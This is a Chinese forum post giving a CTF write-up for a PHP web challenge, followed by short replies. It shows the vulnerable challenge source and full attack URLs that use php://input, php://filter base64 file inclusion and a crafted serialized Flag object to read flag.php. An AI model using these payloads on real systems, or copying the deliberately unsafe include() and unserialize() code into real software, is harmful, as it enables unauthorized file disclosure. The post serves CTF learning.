用户
搜索
  • TA的每日心情
    郁闷
    昨天 18:18
  • 签到天数: 1 天

    连续签到: 1 天

    [LV.1]初来乍到

    i春秋-呆萌菜鸟

    末心网安 海格

    Rank: 1

    5

    主题

    5

    帖子

    93

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2021-6-9
    发表于 2021-11-23 11:44:14 21064
    0x01前言:
    今天看了一个题目,貌似是某中职的一位信息安全老师在某企业培训的一道题(某比赛之前出过原题)。
    01.png
    题目输出you are not the number of GL_ChinaMobile
    0x02解题:
    我们发现右键——查看源代码,可以看到提示??
    02.png

    $user = $_GET["txt"];   
    $file = $_GET["file"];   
    $pass = $_GET["password"];      
    if(isset($user)&&(file_get_contents($user,'r')==="GL_ChinaMobile")){  
         echo "hello admin!<br>";   
         include($file); //hint.php  
    }else{  
         echo "you are not admin ! ";  
    }   
    0x03分析:
    代码理解:首先Get进入三个变量,参数名分别为txt、file、password。判断了$user是否存在,然后判断$user的文件内容是否等于GL_ChinaMobile。(这是第一个绕过)
        include,即引入一个文件,那么这个命令是可以存在任意文件读取漏洞....

    http://159.75.250.246/ctf10/?txt=php://input
    根据我们的PHP封装协议。啊,我们可以用PHP input的方式,通过POST传入文件。
    03.png
    那么我们第2步要用到另一个PHP封装协议——php://filter。
    &file=php://filter/convert.base64-encode/resource=hint.php
    http://159.75.250.246/ctf10/?txt=php://input&file=php://filter/convert.base64-encode/resource=hint.php
    在上一个语句中加上这一串,就可以读取到我们的hint.php
    网站传出的是Base64,我们根据BASE64解码,得到hint.php里的内容。
    <?php  

    class Flag{//flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file);
                echo "<br>";
            return ("good");
            }  
        }  
    }  
    ?>
    我们又用这个漏洞读取了index.php
    <?php
    error_reporting(0);
    $txt = $_GET["txt"];  
    $file = $_GET["file"];  
    $password = $_GET["password"];  

    if(isset($txt)&&(file_get_contents($txt,'r')==="GL_ChinaMobile")){  
        echo "hello friend!<br>";  
        if(preg_match("/flag/",$file)){
            echo "flag fitter";
            exit();  
        }else{  
            include($file);   
            $password = unserialize($password);  
            echo $password;  
        }  
    }else{  
        echo "you are not the number of GL_ChinaMobile ! ";  
    }  

    ?>  

    <!--  
    $user = $_GET["txt"];  
    $file = $_GET["file"];  
    $pass = $_GET["password"];  

    if(isset($user)&&(file_get_contents($user,'r')==="GL_ChinaMobile")){  
        echo "hello admin!<br>";  
        include($file); //hint.php  
    }else{  
        echo "you are not admin ! ";  
    }  
    -->

    由hint.php和index.php,我们得知需要反序列化。
    0x04反序列化:
    那么我们编写代码:
    04.png
    进行反序列化操作:

    05.png
    得到了, O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    如果直接进入http://159.75.250.246/ctf10/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    06.png
    会提示Good
    输入题目的URL中:http://159.75.250.246/ctf10/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
    执行后,输出了Base编码的一段代码
    0x05Flag!!:

    <?php

    $flag='flag{GL_ChinaMobile}';

    flag为flag{GL_ChinaMobile}
    视频地址https://www.bilibili.com/video/BV1Fq4y1g7Jx/



    微信公众号:末心网安 | Q群973504130 | 淘宝店铺:末心网络|TinSec(听安)
    发表于 2021-11-30 18:02:37
    很厉害的文章!!!!!!
    使用道具 举报 回复
    学习了学习了
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册